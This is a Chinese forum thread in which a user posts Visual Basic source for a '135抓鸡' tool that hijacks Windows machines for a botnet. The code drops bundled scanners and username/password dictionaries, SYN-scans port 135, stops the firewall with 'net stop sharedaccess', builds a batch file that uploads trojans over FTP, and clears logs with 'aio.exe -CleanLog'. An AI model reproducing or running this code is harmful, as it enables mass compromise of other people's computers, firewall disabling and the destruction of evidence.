135抓鸡快手源VB代码

gy273681150

大学里我就学过VB 呵呵

loveheaven

太象样了， 但我不会VB ，

glmylove2005

来好好学习学习

闪乐

由于我源码被人删掉了,现在只剩下没有更新的代码了,我相信会编程的人都知道



Private Sub Command2_Click()
    Me.Hide
End Sub



Private Sub Command1_Click()
  '检查正确的密码
  If Text1 = \"闪乐\" Then
  End If
  If Text2 = \"30723387\" Then
    Form2.Show
    Me.Hide
  MsgBox \"恭喜您,登陆成功,请合法使用本工具!\", , \"闪乐提示\"
'form2为您登陆成功后希望弹出的窗口
    End If
  If Text1.Text <> \"闪乐\" Then
  End If
  If Text2.Text <> \"30723387\" Then
  MsgBox \"Sorry!用户密码错误,您不能使用本工具\", , \"闪乐提示\"
&#39;form3为您登陆失败后希望弹出的窗口
    End If
End Sub

Private Sub Form_Load()

End Sub






Private Sub Command1_Click()
a = Text1.Text
b = Text2.Text
c = Text3.Text
Shell \".\\s.exe syn \" & a & \" \" & b & \" 135 /save\"
End Sub

Private Sub Command10_Click()
Open App.Path & \"\\传马.bat\" For Append As #1
Print #1,
Close #1
MsgBox \"传马之前一定要更新FTP,否则抓不到鸡,尽量使用较快的FTP空间!\", , \"闪乐提示\"
Shell \"传马.bat\", vbNormalFocus  &#39;运行这个文件
End Sub &#39;运行传马.bat

Private Sub Command11_Click()
Dim S() As Byte
  Dim File1 As Long
  Dim o1 As Long
  
  
  S() = LoadResData(114, \"custom\")
  
  File1 = FreeFile
  Open \"4.bat\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
Shell (\"4.bat\")
End Sub

Private Sub Command12_Click()
    Form3.Show
End Sub

Private Sub Command2_Click()
a = Text1.Text
b = Text2.Text
c = Text3.Text
Shell \".\\s.exe tcp \" & a & \" \" & b & \" 135 \" & c & \" /save\"
End Sub

Private Sub Command3_Click()
Shell \"10s.exe\"
End Sub &#39;运行10s.exe

Private Sub Command4_Click()
Shell \"net stop sharedaccess\"
End Sub

Private Sub Command5_Click()
Shell \"BetterSP2.exe\"
End Sub

Private Sub Command6_Click()
Shell \"zl.exe\"
End Sub &#39;运行zl.exe

Private Sub Command7_Click()
Dim S() As Byte
  Dim File1 As Long
  Dim o1 As Long
  
  
  S() = LoadResData(113, \"custom\")
  
  File1 = FreeFile
  Open \"3.bat\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
Shell (\"3.bat\")
Shell (\"rkl.exe\")
End Sub

Private Sub Command8_Click()
Dim S() As Byte
  Dim File1 As Long
  Dim o1 As Long
  
  
  S() = LoadResData(111, \"custom\")
  
  File1 = FreeFile
  Open \"1.bat\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
Shell \"1.bat\"
Shell \"zl.exe\"
End Sub

Private Sub Command9_Click()
Open App.Path & \"\\传马.bat\" For Append As #1
Print #1, Label9.Caption + Text4.Text + Label10.Caption + Text5.Text + Label11.Caption + Text6.Text + Label12.Caption + Text7.Text + Label13.Caption + Text7.Text + Label16.Caption + Text7.Text + Label14.Caption + Text7.Text + Chr(13) + Chr(10) + Label17.Caption
Close #1
MsgBox \"更新完毕,您可以传马了!\", , \"闪乐提示\"
End Sub &#39;更新FTP



Private Sub Label8_Click()
Dim S() As Byte
  Dim File1 As Long
  Dim o1 As Long
        S() = LoadResData(108, \"custom\")
  File1 = FreeFile
  Open \"aio.exe\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
Shell \"aio.exe -CleanLog\"
Shell \"C:\\\\Program Files\\Internet Explorer\\iexplore.exe http://30723387.qzone.qq.com\"
End Sub &#39;打开网站



Private Sub Form_Load()
Dim S() As Byte
  Dim File1 As Long
  Dim o1 As Long
  
  
  S() = LoadResData(101, \"custom\")
  
  File1 = FreeFile
  Open \"10s.exe\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
   
    S() = LoadResData(102, \"custom\")
  File1 = FreeFile
  Open \"zl.exe\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
      
    S() = LoadResData(103, \"custom\")
  File1 = FreeFile
  Open \"s.exe\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
  
      S() = LoadResData(104, \"custom\")
  File1 = FreeFile
  Open \"rkl.exe\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
  
        S() = LoadResData(105, \"custom\")
  File1 = FreeFile
  Open \"rpmd.vbe\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
  
        S() = LoadResData(106, \"custom\")
  File1 = FreeFile
  Open \"NT_user.dic\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
  
        S() = LoadResData(107, \"custom\")
  File1 = FreeFile
  Open \"NT_pass.dic\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
          S() = LoadResData(109, \"custom\")
  File1 = FreeFile
  Open \"BetterSP2.exe\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
End Sub


Private Sub Form_unLoad(Cancel As Integer) &#39;窗体卸载时删除这个文件
Dim S() As Byte
  Dim File1 As Long
  Dim o1 As Long
        S() = LoadResData(112, \"custom\")
  File1 = FreeFile
  Open \"2.bat\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
Shell \"2.bat\"
Kill (\"10s.exe\") &#39;删除资源101
Kill (\"zl.exe\") &#39;删除资源102
Kill (\"s.exe\") &#39;删除资源103
Kill (\"rkl.exe\") &#39;删除资源104
Kill (\"rpmd.vbe\") &#39;删除资源105
Kill (\"NT_user.dic\") &#39;删除资源106
Kill (\"NT_pass.dic\") &#39;删除资源107
Kill (\"BetterSP2.exe\") &#39;删除BetterSP2.exe
End Sub



Private Sub Form_Load()

End Sub

Private Sub Label4_Click()
Shell \"C:\\\\Program Files\\Internet Explorer\\iexplore.exe tencent://message/?uin=30723387&Site=fdsf&Menu=yes\"
End Sub

Private Sub Label5_Click()
Dim S() As Byte
  Dim File1 As Long
  Dim o1 As Long
        S() = LoadResData(110, \"custom\")
  File1 = FreeFile
  Open \"肉鸡网段.txt\" For Binary Access Write As File1
    Put File1, , S()
  Close File1
End Sub